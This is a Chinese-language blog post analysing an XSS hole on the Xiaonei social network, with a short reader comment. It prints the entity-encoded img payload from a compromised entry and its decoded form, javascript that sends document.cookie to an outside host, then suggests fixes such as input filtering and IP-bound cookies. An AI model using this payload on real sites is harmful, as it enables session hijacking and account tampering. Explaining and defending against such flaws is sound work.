校内的跨站漏洞分析 以及 可能的解决方法

现在校内网出现了一个跨站漏洞,当用户在访问一些日志的时候,日志或者分享或者其他的资料就被修改了。

而 事实上,只要他们原因,可以做任何事情,因为他们获取到了你的cookie。

 

问题原因:

从一篇有问题的日志发现如下的代码:

<img src='&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97

&#108&#101&#114&#116&#40&#39&#104&#97&#99&#107&#101&#100&#32

&#98&#121&#32&#83&#114&#111&#97&#110&#39&#41&#59&#119&#105

&#110&#100&#111&#119&#46&#108&#111&#99&#97&#116&#105&#111

&#110&#46&#104&#114&#101&#102&#61&#39&#104&#116&#116&#112

&#58&#47&#47&#119&#119&#119&#46&#51&#51&#105&#113&#46&#99

&#110&#47&#120&#105&#97&#111&#110&#101&#105&#46&#112&#104

&#112&#63&#99&#111&#111&#107&#105&#101&#61&#39&#43&#100&#111

&#99&#117&#109&#101&#110&#116&#46&#99&#111&#111&#107&#105&#101'>




这个应该是经过处理了,中间已经没有了分号,如果给src添加上分号,然后使用html_entity_decode解码之后就是: 
javascript:alert('hacked by Sroan');window.location.href='
http://www.33iq.cn/xiaonei.php?cookie='+document.cookie

很明白了, 实际上就是sroan利用在img的src中执行javascript中的特性,执行了一段javascript代码,而这段代码会将你的cookie提交到33iq.cn这个网站,然后他们就可以使用你的cookie去做一些事情了,获取你的个人资料,修改你的日志,修改你的个人资料 等等。

 

很可怕,哈哈。

 

解决方法:

1. 最重要的当然是过滤个人提交的日志的内容了, 牢记一切输入都是有害的。

2. 可以在cookie中添加IP的信息,在校验cookie的时候,如果IP不正确,则需要用户重新登录。

 

第一种方法都在使用,但是具体到什么程度,是不是有bug就很难说了,而校内的问题就在这儿了。

第二种方法使用的应该比较少。

 

当然,理论上,如果直接src等于上面那些东西也不会有问题的,问题是你在处理的时候将那些代码不明地decode了,并显示了出来,问题就来了。

 

This article is posted by on , link is .

Leave a reply

  • says:
    hehe. does tb's edit area have such bug? haha